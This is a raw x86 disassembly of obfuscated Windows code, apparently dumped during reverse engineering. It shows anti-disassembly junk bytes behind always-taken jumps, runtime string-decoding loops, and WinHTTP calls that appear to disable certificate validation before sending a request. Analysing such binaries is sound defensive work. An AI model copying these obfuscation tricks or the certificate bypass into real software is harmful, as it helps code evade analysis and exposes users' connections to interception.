jmp 0x100f6a63
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f6a66
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xa8]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f6a6b
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x120]
movsd qword [ebp - 0xa8], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f6b1d
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f6b1d
mov dword [ebp - 0x84], 3
mov edi, dword [ebp - 0x60]
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0xef]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x84]
add dl, dl
mov cl, byte [ebp + eax - 0xef]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x80]
mov byte [ebp + eax - 0xef], cl
jmp 0x100f6ba0
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f6aea
mov edx, dword [ebp - 0x54]
mov edi, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
lea ecx, [edx + edi]
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xa8]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x84], eax
jmp 0x100f6aed
mov eax, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add eax, edi
mov dword [ebp - 0x68], eax
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [esi*8]
sub ecx, esi
add ecx, edi
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f6e1d
mov eax, dword [ebp - 0x48]
add eax, 0x7f
mov dword [ebp - 0xa4], eax
xor eax, eax
je 0x100f6be2
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xa4]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0xa8], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f6c71
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f6c71
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x60]
mov dword [ebp - 0x78], 3
jmp 0x100f6ce9
mov esi, dword [ebp - 0x54]
xor edx, edx
mov edi, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f6cec
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xa8]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x48]
add eax, 0x7f
mov dword [ebp - 0xa4], eax
xor eax, eax
je 0x100f6cfd
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xa4]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0xa8], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f6d86
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f6d86
mov dword [ebp - 0x7c], 3
jmp 0x100f6df5
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f6df5
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xa8]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0xef]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x7c]
add dl, dl
mov cl, byte [ebp + eax - 0xef]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x78]
mov byte [ebp + eax - 0xef], cl
mov esi, dword [ebp - 0x50]
mov edi, dword [ebp - 0x58]
movsx eax, byte [0x1017b440]
mov edx, dword [ebp - 0x5c]
imul eax, edi
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100f707d
xor eax, eax
je 0x100f6e4b
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x8d89cf03]
pop esp
invalid
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0xa4], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x74]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f6edb
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f6edb
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xb4], 3
add eax, edi
jmp 0x100f6f50
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f6f53
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f6f58
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x74]
movsd qword [ebp - 0x6c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f6fdd
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f6fdd
mov dword [ebp - 0xa0], 3
jmp 0x100f704c
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f704c
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0xef]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0xa0]
add dl, dl
mov cl, byte [ebp + eax - 0xef]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0xb4]
mov edx, dword [ebp - 0x5c]
mov byte [ebp + eax - 0xef], cl
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 8
jb 0x100f6460
mov esi, dword [ebp - 0xbc]
lea ecx, [ebp - 0xef]
mov byte [ebp - 0xf0], 1
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100f70a4
sub ecx, edx
lea eax, [ebp - 0xef]
push ecx
push eax
push 0
mov ecx, esi
call fcn.100fb860
push eax
lea ecx, [ebp - 0x2c4]
call fcn.100f05b0
lea eax, [ebp - 0xfb]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x2c4]
push eax
lea eax, [ebp - 0x2f4]
push eax
call fcn.100f0540
add esp, 0xc
push dword [ebp - 0xd4]
lea ecx, [ebp - 0x2dc]
mov byte [ebp - 4], 4
push eax
push dword [ebp - 0x14]
call fcn.100f0600
lea eax, [ebp - 0x12f]
mov byte [ebp - 4], 5
push eax
lea eax, [ebp - 0x2dc]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.100f0540
add esp, 0xc
lea ecx, [ebp - 0x2dc]
call fcn.100ed7e0
lea ecx, [ebp - 0x2f4]
call fcn.100ed7e0
lea ecx, [ebp - 0x2c4]
call fcn.100ed7e0
lea ecx, [ebp - 0x30c]
call fcn.100ed7e0
lea ecx, [ebp - 0x324]
mov byte [ebp - 4], 0xb
call fcn.100ed7e0
mov edi, dword [ebp - 0xb8]
lea eax, [ebp - 0x14]
push 4
push eax
push 0x1f
push edi
mov dword [ebp - 0x14], 0x3300
call dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
cmp dword [ebp - 0x18], 0x10
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x44]
cmovae edx, dword [ebp - 0x2c]
cmp dword [ebp - 0x30], 8
push 0
cmovae ecx, dword [ebp - 0x44]
push eax
push eax
push edx
push 0xffffffffffffffff
push ecx
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x100f7e9f
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
jne 0x100f8c1a
movups xmm0, xmmword [0x101447d4]
mov eax, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov dword [ebp - 0xbc], eax
mov ax, word [0x101447f4]
movups xmmword [ebp - 0x1c8], xmm0
mov word [ebp - 0x1a8], ax
movups xmm0, xmmword [0x101447e4]
mov al, byte [0x101447f6]
mov byte [ebp - 0x1a6], al
movups xmmword [ebp - 0x1b8], xmm0
mov dword [ebp - 0x48], 0
cmp dword [ebp - 0x48], 0x22
jae 0x100f7e86
call fcn.100fb5a0
movsx edi, al
mov dword [ebp - 0x58], edi
call fcn.100fb5d0
movsx edx, al
mov dword [ebp - 0x5c], edx
call fcn.100fb5b0
movsx eax, al
mov dword [ebp - 0x50], eax
call fcn.100fb580
movsx esi, al
call fcn.100fb590
movsx eax, al
imul esi, eax
mov dword [ebp - 0x54], esi
call fcn.100fb5c0
movsx eax, al
mov dword [ebp - 0x60], eax
lea eax, [eax + esi*8]
mov dword [ebp - 0xc8], eax
lea eax, [esi + esi*8]
mov esi, dword [ebp - 0x50]
mov dword [ebp - 0x64], eax
nop
movsx eax, byte [0x1017b440]
imul eax, edi
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
add ecx, ecx
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100f74ba
xor eax, eax
je 0x100f7287
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8bac75], cl
mov al, byte [0xc86e0f66]
movsx eax, byte [0x1017b002]
xor edx, edx
mov esi, dword [ebp - 0x54]
mov edi, dword [ebp - 0x60]
movd xmm1, eax
movsx eax, byte [0x1017b001]
lea ecx, [esi + esi*8]
cvtdq2pd xmm1, xmm1
add ecx, edi
mov dword [ebp - 0xa4], ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x9c]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f731b
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f731b
mov dword [ebp - 0x90], 3
lea eax, [edi + esi]
jmp 0x100f738d
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f7390
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f7395
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x9c]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f741d
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f741d
mov dword [ebp - 0x94], 3
jmp 0x100f748c
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f748c
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x1c7]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x94]
add dl, dl
mov cl, byte [ebp + eax - 0x1c7]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x90]
mov byte [ebp + eax - 0x1c7], cl
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0xc8]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f7c0f
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f7739
xor eax, eax
je 0x100f7504
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x8d89cf03]
pop esp
invalid
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0xa4], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xb0]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f7597
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f7597
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x88], 3
add eax, edi
jmp 0x100f760c
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f760f
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f7614
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xb0]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f769c
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f769c
mov dword [ebp - 0x8c], 3
jmp 0x100f770b
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f770b
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x1c7]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x8c]
add dl, dl
mov cl, byte [ebp + eax - 0x1c7]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x88]
mov byte [ebp + eax - 0x1c7], cl
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
add ecx, ecx
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f798d
xor eax, eax
je 0x100f775e
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x4d89cf03]
cwde
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0x68], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xe4]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f77eb
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f77eb
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x80], 3
add eax, edi
jmp 0x100f785d
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f7860
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f7865
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xe4]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f7918
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f7918
mov dword [ebp - 0x84], 3
mov edi, dword [ebp - 0x60]
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x1c7]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x84]
add dl, dl
mov cl, byte [ebp + eax - 0x1c7]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x80]
mov byte [ebp + eax - 0x1c7], cl
jmp 0x100f7998
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f78e5
mov edx, dword [ebp - 0x54]
mov edi, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
lea ecx, [edx + edi]
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x84], eax
jmp 0x100f78e8
mov eax, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add eax, edi
mov dword [ebp - 0x68], eax
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [esi*8]
sub ecx, esi
add ecx, edi
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f7c09
mov eax, dword [ebp - 0x48]
add eax, 0xffffff80
mov dword [ebp - 0xa4], eax
xor eax, eax
je 0x100f79da
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xa4]
